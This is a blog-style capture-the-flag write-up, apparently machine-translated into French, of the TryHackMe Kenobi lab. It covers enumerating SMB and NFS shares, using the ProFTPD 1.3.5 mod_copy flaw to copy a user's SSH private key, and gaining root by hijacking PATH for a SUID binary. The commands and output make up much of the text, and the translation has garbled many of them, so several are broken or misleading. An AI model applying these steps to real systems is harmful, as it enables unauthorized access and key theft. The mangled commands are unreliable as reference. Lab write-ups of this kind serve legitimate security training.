[CVE-2015-3306] J'ai énuméré la samba partagée, manipulé une version vulnérable de ProfTPD et augmenté les privilèges en manipulant les variables de chemin! Tryhackme Kenobi écrit

[CVE-2015-3306] J'ai énuméré la samba partagée, manipulé une version vulnérable de ProfTPD et augmenté les privilèges en manipulant les variables de chemin! Tryhackme Kenobi écrit

Cette fois, nous énumérons la samba partagée, manipulons les versions vulnérables de ProfTPD et augmentons les privilèges en manipulant les variables de chemin.
"Tryhackme-Kenobi: https://tryhackme.com/room/kenobi "

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
table des matières

Préparation

Tout d'abord, sélectionnez "Démarrer la machine" et démarrez la machine cible.

Si l'adresse IP s'affiche comme indiqué ci-dessous, c'est OK.

Déployer la machine vulnérable

Depuis que j'ai déployé la machine plus tôt, j'utiliserai NMAP pour scanner.

Assurez-vous que vous êtes connecté à notre réseau et déployez la machine

La machine vient d'être déployée, alors donnons une réponse.

Répondre

Scannez la machine avec NMAP, combien de ports sont ouverts?

Il y a une question de combien de ports sont ouverts, donc j'utiliserai NMAP pour scanner le port.

┌fique (hack_lab㉿desktop-o3rmu7h) - [~] └─ $ nmap -pn -t4 -a 10.10.26.135 NMAP 7.94 (https://nmap.org) au 2023-08-27 22:59 JST NMAP Rapport pour 10.10.26.135 hôte est up (0,25. Non illustré: 993 ports TCP fermés (Conn-refusés) Le service d'état du port version 21 / TCP Open FTP ProfTPD 1.3.5 22 / TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; ProtoCol 2.0) | SSH-HOSTKEY: | 2048 B3: AD: 83: 41: 49: E9: 5d: 16: 8d: 3b: 0f: 05: 7b: E2: C0: AE (RSA) | 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) |_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((ubuntu)) | http-robots.txt: 1 entrée refusée | _ / admin.html | _http-server-header: apache / 2.4.18 (ubuntu) | _http-title: le site n'a pas de titre (texte / html). 111 / TCP Open RPCBIND 2-4 (RPC # 100000) | RPCINFO: | Version du programme Port / Service Proto | 100000 2,3,4 111 / TCP RPCBIND | 100000 2,3,4 111 / UDP RPCBIND | 100000 3,4 111 / TCP6 RPCBIND | 100000 3,4 111 / UDP6 RPCBIND | 100003 2,3,4 2049 / TCP NFS | 100003 2,3,4 2049 / TCP6 NFS | 100003 2,3,4 2049 / UDP NFS | 100003 2,3,4 2049 / UDP NFS | 100003 2,3,4 2049 / UDP6 NFS | 100005 1,2,3 34211 / TCP Mountd | 100005 1,2,3 39978 / UDP Mountd | 100005 1,2,3 46105 / TCP6 Mountd | 100005 1,2,3 57683 / UDP6 Mountd | 100021 1,3,4 32905 / tcp nlockmgr | 100021 1,3,4 44853 / tcp6 nlockmgr | 100021 1,3,4 46652 / udp nlockmgr | 100021 1,3,4 49249 / udp6 nlockmgr | 100227 2,3 2049 / TCP NFS_ACL | 100227 2,3 2049 / TCP6 NFS_ACL | 100227 2,3 2049 / UDP NFS_ACL | 100227 2,3 2049 / UDP NFS_ACL | _ 100227 2,3 2049/udp6 nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open `{} Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 2049/tcp open nfs 2-4 (RPC # 100003) Informations sur le service: Hôte: Kenobi; OSS: Unix, Linux; CPE: CPE: / O: Linux: Linux_Kernel Host Script Results: | Mode SMB-Sécurité: | Account_Used: invité | Authentication_level: User | Challenge_Response: Prise en charge | _ Message_signing: Désactivé (dangereux, mais par défaut) | Mode de sécurité SMB2: | 3: 1: 1: | _ La signature du message est activée mais pas requise | SMB2-Time: | Date: 2023-08-27T14: 00: 16 | _ start_date: n / a | SMB-OS-Discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Nom de l'ordinateur: Kenobi | Nom de l'ordinateur Netbios: Kenobi \ x00 | Nom de domaine: \ x00 | FQDN: Kenobi | _ Temps du système: 2023-08-27T09: 00: 16-05: 00 | _Clock-Skew: Moyenne: 1H39M58S, Départ: 2h53m13s, médian: -1S | _nbstat: Netbios Nom: Kenobi, netbios User:<unknown> , Netbios Mac:<unknown> (inconnu) Détection de service effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP fait: 1 adresse IP (1 hôte) numérisé en 35,93 secondes

Il y en a beaucoup, donc si vous les résumez un peu, vous pouvez voir que les sept ports ci-dessous sont ouverts.

21 / TCP Open FTP ProfTPD 1.3.5 22 / TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocol 2.0) 80 / TCP Open Http Apache Httpd 2.4.18 ((Ubuntu)) 111 / TCP Open RPCBIND 2-4 (RPC # 100000) NetBiOS-SSN Samba SMBD 3.x - 4.x (Workgroup: Workgroup) 445 / TCP Open ` {} Samba SMBD 4.3.11-Ubuntu (Workgroup: Workgroup) 2049 / TCP Open NFS 2-4 (RPC # 100003)

Répondre

Énumérer la samba pour les actions

Parmi les ports ouverts, vous pouvez vérifier HTTP immédiatement, donc je l'ai rapidement vérifié et trouvé une image dans /Admin.html qui disait que c'était un piège.
Les prochains ports qui m'intéressent sont les 139 et 445 de Samba.

En utilisant la commande NMAP ci-dessus, combien de partages ont été trouvés?

Je vais vérifier le nombre d'actions. NMAP dispose de divers outils pour automatiser les tâches réseau, et il existe des scripts qui répertorient les partages, alors utilisons-les.

┌── (hack_lab㉿desktop-o3rmu7h) - [~] └fique Pour 10.10.26.135, l'hôte est en hausse (latence 0,25S). Port State Service 445 / TCP Open Microsoft-Ds Host Script Results: | SMB-enum-shares: | Account_Used: invité | \\ 10.10.26.135 \ ipc $: | Type: STYPE_IPC_HIDDEN | Commentaire: Service IPC (serveur Kenobi (Samba, Ubuntu)) | Utilisateurs: 1 | Utilisateurs max:<unlimited> | Chemin: C: \ TMP | Accès anonyme: lire / écrire | Accès aux utilisateurs actuel: lire / écrire | \\ 10.10.26.135 \ anonymous: | Type: STYPE_DISKTREE | Commentaire: | Utilisateurs: 0 | Utilisateurs max:<unlimited> | Chemin: C: \ Home \ Kenobi \ Share | Accès anonyme: lire / écrire | Accès aux utilisateurs actuel: lire / écrire | \\ 10.10.26.135 \ print $: | Type: STYPE_DISKTREE | Commentaire: Conducteurs d'imprimantes | Utilisateurs: 0 | Utilisateurs max:<unlimited> | Chemin: C: \ var \ lib \ samba \ imprimantes | Accès anonyme:<none> | _ Access actuel de l'utilisateur:<none> NMAP FAIT: 1 adresse IP (1 hôte) scanné en 38,42 secondes

Pour résumer cela, nous pouvons voir que les trois suivants sont partagés:

\\ 10.10.26.135 \ ipc $ \\ 10.10.26.135 \ anonymous \\ 10.10.26.135 \ print $

Parmi ceux-ci, celui qui m'intéresse est anonyme. Nous enquêterons sur cela la prochaine fois.

Répondre

Une fois que vous êtes connecté, énumérez les fichiers sur le partage. Quel est le fichier que pouvez-vous voir?

Maintenant, essayons de vous connecter à Anonymous.

┌fiques (hack_lab㉿desktop-o3rmu7h) - [~] └─ $ smbClient //10.10.26.135/anonymous mot de passe pour [workgroup \ hack_lab]: essayez "l'aide" pour obtenir une liste de commandes possibles. smb: \> 

Une fois connecté, essayez de visualiser la liste des fichiers que vous avez partagés.

smb: \> ls. D 0 mer sept. 19:49:09 2019 .. D 0 mer sept. 19:56:07 2019 Log.txt n 12237 Mer sept. 19:49:09 2019 9204224 Blocs de taille 1024. 6877104 blocs disponibles SMB: \> dir. D 0 mer sept. 19:49:09 2019 .. D 0 mer sept. 19:56:07 2019 Log.txt n 12237 mer sept. 19:49:09 2019 9204224 Blocs de taille 1024. 6877104 Blocs Disponibles disponibles

Vous pouvez vérifier qu'un fichier appelé "log.txt" existe.

Répondre

Sur quel port FTP fonctionne-t-il?

J'ai déjà vérifié cela sur NMAP, mais je vais vérifier Log.txt juste pour être en sécurité.
Tout d'abord, téléchargez le log.txt.

SMB: \> Get Log.txt Getting File \ Log.txt de la taille 12237 en tant que log.txt (12,0 kilobytes / sec) (moyen 12,0 kilo-kilo-kilobytes / sec) SMB: \> 

Le contenu de Log.txt est le suivant:

┌── (hack_lab㉿desktop-o3rmu7h) - [~ / TRYHACKME] └fique Entrez le fichier dans lequel enregistrer la clé (/home/kenobi/.ssh/id_rsa): répertoire créé '/home/kenobi/.ssh'. Entrez la phrase de passe (vide pour aucune phrase de passe): entrez à nouveau la même phrase de passe: votre identification a été enregistrée dans /home/kenobi/.ssh/id_rsa. Votre clé publique a été enregistrée dans /home/kenobi/.ssh/id_rsa.pub. L'empreinte clés est: sha256: c17gwsl / v7kluzrowwxsyk + f7gyhvzsbfqkcikr2d7q kenobi @ kenobi L'image aléatoire de la clé est: + --- [RSA 2048] ---- + | | .. | | . o . | | . o . | | .. = o +. | | . So.o ++ o. | | o ... + oo.bo * o | | oo ..o.o +. @ oo | | . . E .o + =. | | . . OBO. | + ---- [SHA256] ----- + # Il s'agit d'un fichier de configuration ProfTPD de base (le renommer à # 'ProfTPD.Conf' pour une utilisation réelle. Il établit un seul serveur # et une seule connexion anonyme. Il suppose que vous avez un utilisateur / groupe # # non "et l'installation" FTP "pour un fonctionnement normal et le nom de la PortN" ISTPD "ProfTPD Défaut" Port FTP standard. Mode Vous devez utiliser un serveur INETD qui vous permet de limiter le nombre maximal de processus par service (tels que Xinetd). ALLEROVERWRITE SUR # Utilisation de la barre du site Chmod par défaut<Limit SITE_CHMOD> Renoncer à</Limit> # Une configuration anonyme de base, pas de répertoires de téléchargement. Si vous ne voulez pas # les utilisateurs anonymes, supprimez simplement tout ce<Anonymous> section.<Anonymous ~ftp> Utilisateur FTP Group FTP # Nous voulons que les clients puissent se connecter avec "Anonymous" ainsi que "FTP" FTP anonyme FTP # Limitez le nombre maximal de connexions anonymes Maxclients 10 # Nous voulons `` Welcome.msg 'affiché à la connexion, et' .Message 'affiché # dans chaque répertoire nouveau Chdired. DisplayLogin Welcome.msg Displaycdir .Message # Limit Write partout dans le chroot anonyme<Limit WRITE> Renoncer à</Limit></Anonymous> # # Exemple de fichier de configuration pour la suite Samba pour Debian GNU / Linux. # # # Il s'agit du fichier de configuration de Samba principal. Vous devez lire la page manuelle # smb.conf (5) afin de comprendre les options répertoriées # ici. Samba a un grand nombre d'options configurables dont la plupart des # ne sont pas montrés dans cet exemple # # Certaines options qui méritent souvent de régler ont été incluses en tant qu'exemples # commentés dans ce fichier. # - Lorsque de telles options sont commentées par ";", le paramètre proposé # Différents du comportement de Samba par défaut # - Lorsqu'il est commenté avec "#", le paramètre proposé est le comportement # par défaut de Samba, mais l'option est considérée comme importante # pour être mentionnée ici # # Remarque: chaque fois que vous modifiez ce fichier, vous devez exécuter la commande # "TestParm" pour vérifier que vous n'avez pas fait de syntactique basique # erreurs. # ==== Paramètres globaux ==== [globale] ## La navigation / identification ### # # Changez ce WINS Server # WINS PRESSION = No # WINS Server - dit aux composants NMBD de Samba d'être un client Wins # Remarque: Samba peut être soit un serveur WINS, soit un client Wins, mais pas les deux; WINS Server = WXYZ # Cela empêchera NMBD de rechercher les noms NetBiOS via DNS. DNS proxy = no #### Networking ### # L'ensemble spécifique d'interfaces / réseaux pour se lier à # Il peut être le nom d'interface ou une adresse IP / Masque de réseau; # Les noms d'interface sont normalement préférés; Interfaces = 127.0.0.0/8 Eth0 # se lier uniquement aux interfaces et / ou réseaux nommés; Vous devez utiliser l'option # «interfaces» ci-dessus pour l'utiliser. # Il est recommandé d'activer cette fonctionnalité si votre machine Samba n'est pas protégée par un pare-feu ou est un pare-feu lui-même. Cependant, cette option # ne peut pas gérer correctement les interfaces dynamiques ou non Broadcast. ; Bind Interfaces Only = Yes #### Débogage / comptabilité #### # Cela indique à Samba d'utiliser un fichier journal séparé pour chaque machine # qui connecte le fichier journal = /var/log/samba/log.%M # Cap la taille des fichiers journaux individuels (en kib). Max Log Size = 1000 # Si vous voulez que Samba ne se connecte que via SYSLOG, définissez le paramètre # suivant sur «Oui». # syslog uniquement = non # Nous voulons que Samba enregistre une quantité minimale d'informations à Syslog. Tout devrait aller sur /var/log/samba/log.{smbd,nmbd} à la place. Si vous souhaitez enregistrer le # via SYSLOG, vous devez définir le paramètre suivant sur quelque chose de plus élevé. syslog = 0 # faire quelque chose de sensible lorsque Samba se bloque: envoyez l'administration une action de panique de la backtrace = / usr / share / samba / panic-action% d ###### authentification ####### # Rôle du serveur. Définit dans quel mode Samba fonctionnera. Les valeurs # possibles sont "serveur autonome", "serveur membre", "Classic Primary # Domain Controller", "Classic Backup Domain Controller", "Active Directory Domain Controller". # # La plupart des gens voudront "Sever autonome" ou "serveur membre". # L'exécution en tant que "Contrôleur de domaine Active Directory" nécessitera le premier # # exécutant "Provision de domaine Samba-Tool" pour effacer les bases de données et créer un nouveau domaine #. Server Role = SERVER SURSTAL OBTRE # Si vous utilisez des mots de passe chiffrés, Samba devra savoir quel type de base de données de mot de passe que vous utilisez. PassDB backend = TDBSAM OBEY RESTRICTIONS PAM = OUI # Ce paramètre booléen contrôle si Samba tente de synchroniser le mot de passe Unix # avec le mot de passe SMB lorsque le mot de passe SMB crypté dans le # PassDB est modifié. Unix Motway Sync = Oui # Pour Unix Motword Sync pour travailler sur un système Debian GNU / Linux, les paramètres # suivants doivent être définis (grâce à Ian Kahan <<kahan@informatik.tu-muenchen.de> pour # Envoi du script de chat correct pour le programme PASSWD dans Debian Sarge). Passwd Program = / usr / bin / passwd% u passwd chat = * Entrée \ snew \ s * \ spassword: *% n \ n * retype \ snew \ s * \ spassword: *% n \ n * mot de passe \ supdated \ ssuccessly *. # Ce booléen contrôle si PAM sera utilisé pour les modifications de mot de passe # à la demande d'un client SMB au lieu du programme répertorié dans # «Passwd Program». La valeur par défaut est «non». PAM Password Change = Oui # Cette option contrôle comment les tentatives d'authentification infructueuses sont mappées # à des connexions anonymes MAP à invité = Bad User ###### # Classic Domain Classic Domain Controller ',' Role = SERVER UNE SETRALUM de la vue) Le # suivant a besoin d'un partage [Profils] à configurer sur le serveur Samba (voir # ci-dessous); Logon Path = \\% N \ Profils \% U # Un autre choix commun est de stocker le profil dans le répertoire personnel de l'utilisateur # (Ceci est par défaut de Samba) # Logon Path = \\% N \% U \ Profil # Le paramètre suivant ne prend effet que si le "Logons du domaine 'est défini # Il spécifie l'emplacement du répertoire personnel d'un utilisateur (du point de vue du client); Logon Drive = H: # Logon Home = \\% N \% U # Le paramètre suivant ne prend effet que si les «journaux de domaine» sont définis # Il spécifie le script à exécuter pendant la connexion. Le script doit être stocké # dans le [Netlogon] Partage # Remarque: doit être stocké dans la convention de format de fichier «dos»; Logon Script = Logon.cmd # Cela permet aux utilisateurs UNIX d'être créés sur le contrôleur de domaine via le tuyau SAMR # RPC. L'exemple de commande crée un compte utilisateur avec un mot de passe UNIX # désactivé; Veuillez vous adapter à vos besoins; Ajouter un script utilisateur = / usr / sbin / addUser --quiet --Disabled-password --gecos ""% u # Cela permet de créer des comptes de machine sur le contrôleur de domaine via le tuyau RPC # SAMR. # Ce qui suit suppose qu'un groupe "machines" existe sur le système; Ajouter un script de machine = / usr / sbin / userAdd -g Machines -C "% u Machine Compte" -d / var / lib / samba -s / bin / false% u # Cela permet de créer des groupes Unix sur le contrôleur de domaine via le tuyau RPC SAMR #. ; Ajouter un script de groupe = / usr / sbin / addGroup --Force-Badname% G ###### Divers ##### # L'utilisation de la ligne suivante vous permet de personnaliser votre configuration # sur une base de machine. Le% M est remplacé par le nom Netbios # de la machine qui se connecte; inclure = /home/samba/etc/smb.conf.%M # Quelques défaillances pour Winbind (assurez-vous que vous n'utilisez pas les gammes # pour autre chose.); idmap uid = 10000-20000; IDMAP GID = 10000-20000; modèle shell = / bin / bash # Configuration des options USERSHARE pour permettre aux utilisateurs non-ROOT de partager les dossiers # avec la commande net Usershare. # Nombre maximum d'utilisateurs. 0 (par défaut) signifie que les utilisateurs sont désactivés. ; Usershare max partages = 100 # Autoriser les utilisateurs qui ont obtenu des privilèges de travail des utilisateurs pour créer # partage publiques, pas seulement les utilisateurs authentifiés Autoriser les invités = YES # === Définitions de partage ==== # Un-comment des paramètres suivants (et ajuster les autres paramètres ci-dessous) # pour permettre les partages de répertoire de maison par défaut. Cela partagera chaque # répertoire domestique de l'utilisateur en tant que \\ server \ username; [homes]; commentaire = répertoires domestiques; Browsable = Non # Par défaut, les répertoires domestiques sont exportés en lecture seule. Changez le paramètre # suivant en «non» si vous voulez pouvoir leur écrire. ; lire uniquement = oui # Le masque de création de fichiers est défini sur 0700 pour des raisons de sécurité. Si vous souhaitez # créer des fichiers avec les autorisations Group = RW, définissez le paramètre suivant sur 0775 .; Create Mask = 0700 # Le masque de création de répertoire est défini sur 0700 pour des raisons de sécurité. Si vous voulez # créer des réseaux. Avec les autorisations Group = RW, définissez le paramètre suivant sur 0775 .; Directory Mask = 0700 # Par défaut, \\ Server \ Username Les partages peuvent être connectés par n'importe qui # avec l'accès au serveur Samba. # Non comment le paramètre suivant pour vous assurer que seul le "nom d'utilisateur" # peut se connecter à \\ server \ username # Cela peut nécessiter un ajustement lors de l'utilisation de schémas d'authentification externes; Utilisateurs valides =% S # Un-comment les éléments suivants et créez le répertoire Netlogon pour les journaux de journal # (vous devez également configurer Samba pour agir en tant que contrôleur de domaine.); [netlogon]; commentaire = service de connexion réseau; path = / home / samba / netlogon; invité ok = oui; lire uniquement = Oui # Un-comment ce qui suit et créer le répertoire des profils pour stocker # Profils d'utilisateurs (voir l'option "Path de connexion" ci-dessus) # (vous devez également configurer la samba pour agir en tant que contrôleur de domaine.) # Le chemin ci-dessous doit être écrit par tous les utilisateurs afin que leur répertoire de profil # puisse être créé la première fois qu'ils se connectent; [Profils]; commentaire = profils d'utilisateurs; chemin = / home / samba / profils; invité ok = non; Browsable = non; créer un masque = 0600; répertoire masque = 0700 [imprimantes] commentaire = toutes les imprimantes Browable = no path = / var / spool / samba imprimable = oui invité ok = non lecture seulement = oui crée masque = 0700 # clients windows recherchez ce nom de partage comme une source de téléchargeable # les pilotes d'imprimante [print $] commentaire = les pilotes d'imprimeur unique Administration des pilotes imprimés Windows. # Vous devrez peut-être remplacer «lpadmin» par le nom du groupe dont les utilisateurs # Admin sont membres. # Veuillez noter que vous devez également définir les autorisations UNIX appropriées # au répertoire des pilotes pour que ces utilisateurs aient des droits d'écriture; Écriture list = root, @lpadmin [anonymous] path = / home / kenobi / share Browsable = oui lecture uniquement = oui invité ok = oui

Les informations que vous pouvez voir à partir de ce contenu sont les suivantes:

  • La clé privée SSH doit être stockée dans "/home/kenobi/.ssh/id_rsa"
  • Informations sur le serveur ProfTPD

Répondre

Quelle monture pouvons-nous voir?

Ensuite, NFS est un service de partage de fichiers basé sur RPC.
Bien que le NFS lui-même fonctionne en 2049, RPC est la passerelle du NFS.

2049 / TCP Open NFS 2-4 (RPC # 100003)

En d'autres termes, essayez de numériser 111 RPC.

111 / TCP Open RPCBIND 2-4 (RPC # 100000)


Une fois que vous avez confirmé que NSF est en cours d'exécution, la première chose à faire est de vérifier quels répertoires peuvent être exportés à distance.
Là encore, nous utiliserons le moteur de script NMAP.

┌── (hack_lab㉿desktop-o3rmu7h) - [~ / TRYHACKME] └fique grep nfs nfs-Ls.nse nfs-showmount.nse nfs-statfs.nse

Essayez de l'exécuter pour le numéro de port "111".

┌── (hack_lab㉿desktop-o3rmu7h) - [~ / / tryhackme] └sé Le rapport de numérisation NMAP pour l'hôte 10.10.26.135 est en hausse (latence 0,25S). Port State Service 111 / TCP Open RPCBIND | NFS-Showmount: | _ / var * nmap Fait: 1 adresse IP (1 hôte Up) scanné en 4,27 secondes

J'ai confirmé que "/ var" a été exporté.

Pour l'instant, je vais d'abord essayer de monter "/ var".

┌fiques (hack_lab㉿desktop-o3rmu7h) - [~ / / tryhackme] └sé Hack_Lab: ┌fiques (hack_lab㉿desktop-o3rmu7h) - [~ / / tryhackme] └sé 2019 Crash DRWXR-XR-X 40 ROOT ROOT 4096 4 septembre 2019 Lib Drwxrwsr-X 2 Root Staff 4096 13 avril 2016 local lrwxrwxrwx 1 root root 9 sept 4 sept. 2019 LOCK -> / Run / Lock Drwxrwxr-X 10 Root SSL CERRT 4096 Sep 4 2019 DRWXR-XR-X 2 ROOT ROOT 476 27 février 2019 Opt LRWXRWXRWX 1 ROOT ROOT 4 SEP 4 SEP 2019 RUN -> / Run DRWXR-XR-X 2 ROOT ROOT 4096 Jan 30 2019 DRWXR-XR-X Root Root 4096 4 septembre 2019 www

Il semble que vous puissiez utiliser TMP.

Répondre

Obtenir un accès initial avec ProfTPD

Utilisez ProfTPD pour obtenir des autorisations locales.

Quelle est la version?

Tout d'abord, essayez de vous connecter au service FTP à l'aide de NetCAT.

┌── (hack_lab㉿desktop-o3rmu7h) - [~ / TRYHACKME] └fique

Il s'avère que la version ProfTPD est "1.3.5".

Répondre

Combien d'exploits y a-t-il pour la course ProfTPD?

Essayez SearchSploit pour savoir s'il n'y a pas de vulnérabilités dans ProfTPD 1.3.5.

┌fique ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- «mod_copy» Command Executi | Linux / Remote / 37262.rb Proftpd 1.3.5 - 'Mod_copy' Commande distante | Linux / Remote / 36803.py Proftpd 1.3.5 - "MOD_COPY 'Commande distante | Linux / Remote / 49908.py Proftpd 1.3.5 - Copie de fichier | Linux / Remote / 36742.txt ---- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

le bas " ProfTPD 1.3.5 - Copie de fichier ", MOD_COPY peut être utilisé même pour les clients non authentifiés.

Répondre

Quel est le drapeau utilisateur de Kenobi (/home/kenobi/user.txt)?

Le module MOD_COPY dispose de commandes CPFR et CPTO de site qui peuvent être utilisées pour copier des fichiers / répertoires d'un emplacement sur le serveur à un autre.

Je sais que la clé privée Kenobi a été générée, donc je voudrais l'obtenir.

Entrez le fichier dans lequel enregistrer la clé (/home/kenobi/.ssh/id_rsa)

Quant à savoir où le copier, nous savons déjà que / var est montable, nous allons donc essayer de copier la clé privée de Kenobi vers / var.

┌fiques (hack_lab㉿desktop-o3rmu7h) - [~ / / tryhackme] └─ $ NC 10.10.6.106 21 220 ProfTPD 1.3.5 Serveur (ProfTPD Installation par défaut) [10.10.6.106] Site CPFR /HOME/KENOBI/SSH/ID_RSA 350 File Or Directory Exists, Ready Nom Clpp / var / id_rsa 550 cpto: autorisation refusée

"/ var" n'a pas eu la permission. . .
Sur la base des résultats que j'ai montés plus tôt, il semble que ce soit bien si c'est "/ var / tmp".

┌fiques (hack_lab㉿desktop-o3rmu7h) - [~ / / tryhackme] └─ $ NC 10.10.6.106 21 220 ProfTPD 1.3.5 Serveur (ProfTPD Installation par défaut) [10.10.6.106] Site CPFR /HOME/KENOBI/SSH/ID_RSA 350 File Or Directory Exists, Ready Nom Clpp / var / tmp / id_rsa 250 copie réussie

J'ai réussi à le copier!

┌── (hack_lab㉿desktop-o3rmu7h) - [~ / tryhackme] └fique 1675 août 28 23:09 ID_RSA DRWX ----- 3 racine racine 4096 4 sept drwx-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 3 racine racine 4096 4 sept

Copiez-le localement une fois. Pour le moment, modifiez les autorisations.

┌── (hack_lab㉿desktop-o3rmu7h) - [~ / tryhackme] └sé 

Je vais essayer d'utiliser ma clé privée Kenobi pour SSH Connection.

┌fiques (root㉿kali) - [~] └─ # ssh -i id_rsa kenobi@10.10.154.255 L'authenticité de l'hôte '10 .10.154.255 (10.10.154.255) 'ne peut pas être établie. ED25519 l'empreinte digitale clé est SHA256: GXU1MGQL0WK2ZHPMEUVIS0HVUSX4HK33ITCWNKPKTFW. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: ajouté en permanence '10 .10.154.255 '(ED25519) à la liste des hôtes connus. Bienvenue à Ubuntu 16.04.6 LTS (GNU / Linux 4.8.0-58-Generic X86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 103 Les packages peuvent être mis à jour. 65 Les mises à jour sont des mises à jour de sécurité. Dernière connexion: Mer sept. 4 07:10:15 2019 De 192.168.1.147 pour exécuter une commande en tant qu'administrateur (utilisateur "root"), utilisez "sudo<command> ". Voir" Man sudo_root "pour plus de détails. Kenobi @ kenobi: ~ $

J'ai pu me connecter en toute sécurité.
Continuons à vérifier user.txt et à obtenir le drapeau!

kenobi @ kenobi: ~ $ ll total 40 drwxr-xr-x 5 kenobi kenobi 4096 4 sept .bash_logout -rw-r - r-- 1 Kenobi Kenobi 3771 4 septembre 2019 .Bashrc Drwx ----- 2 Kenobi Kenobi 4096 4 septembre 2019 .Cache / -rw-r - r-- 1 Kenobi Kenobi 655 4 sept. 2019 .Profile Drwxr-xr-x 2 Kenobi Kenobi 4096 SEP 4 2019 SAVOI Kenobi Kenobi 4096 4 sept

Répondre

Escalade des privilèges avec manipulation des variables de chemin

Ensuite, l'escalade des privilèges. Visez l'élévation des privilèges en utilisant le SUID commun.

SUID exécute le fichier avec les autorisations du propriétaire de fichier, donc si Root est le propriétaire du fichier, il est possible d'obtenir des privilèges racine.

Quel fichier semble particulièrement hors de l'ordinaire?

Vérifions le fichier avec le SUID.

kenobi @ kenobi: ~ $ find / -perm -u = s -Type f 2> / dev / null /sbin/mount.nfs / usr / lib / stratégiekit-1 / polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-lanch-helper / usr / lib / snapd / snap-confine / usr / lib / eject / dmcrypt-get-device / usr / lib / openssh / ssh-keysign / usr / lib / x86_64-linux-gnsu / lxc / lxc-nic / usr / bin / chfn / usr / bin / newgidma / usr / bin / newUidmap / usr / bin / gpasswd / usr / bin / menu / usr / bin / sudo / usr / bin / shsh / usr / bin / at / usr / bin / newgrp / bin / umount / bin / fusermount / bin / moule / bin / ping / bin / su / bin / ping6

Je suppose que celui qui se méfie de ceux-ci est "/ usr / bin / menu". Ceci est un fichier que je n'ai jamais vu auparavant.

Répondre

Exécutez le binaire, combien d'options apparaissent?

Essayez d'exécuter le menu.
Il semble que vous puissiez vérifier l'état du serveur, la version du noyau et le contenu ifconfig.

kenobi @ kenobi: ~ $ menu ****************************************************************************************************************************. ***************************************************************************************************************************** ****************************************************************************************************************************. ***************************************************************************************************************************** ****************************************************************************************************************************. ***************************************************************************************************************************** ****************************************************************************************************************************. ***************************************************************************************************************************** Content-Length: 200 Vary: Accept-Coding Content-Type: Text / HTML

Répondre

Quel est l'indicateur racine (/root/root.txt)?

Utilisez des chaînes pour rechercher une chaîne lisible sur le binaire du menu.

kenobi @ kenobi: ~ $ cordes / usr / bin / menu ... *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************.

Veuillez faire attention aux éléments suivants:
vous pouvez confirmer que "Curl" n'est pas le chemin complet. (Ce n'est pas / usr / bin / curl ou / usr / bin / uname)

curl -i localhost

Cela signifie qu'en copie / bin / sh sous le nom Curl, en lui donnant l'accès et en l'ajoutant au chemin, quand
/ usr / bin / menu est exécuté, le chemin sera utilisé pour trouver la boucle que vous avez copiée.

kenobi @ kenobi: ~ $ cd / tmp kenobi @ kenobi: / tmp $ echo / bin / sh> curl kenobi @ kenobi: / tmp $ chmod 777 curl kenobi @ kenobi: / tmp $ export pathy = / tmp: $ path kenobi @ kenobi: / tmp $ menu *******************************************************************************************************************************. *****************************************************************************************. *******************************************************************************************************************************. *****************************************************************************************. 177B3CD8562289F37382721C28381F02

Le privilège a été élevé!

Répondre

résumé

Cette fois, j'ai énuméré la samba partagée, manipulé une version vulnérable de ProfTPD et augmenté les privilèges en manipulant les variables de chemin.
C'est complètement hors de propos, mais je suis tombé sur l'OpenVPN SSH, mais j'ai réussi à le faire.

Références et sites

-

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières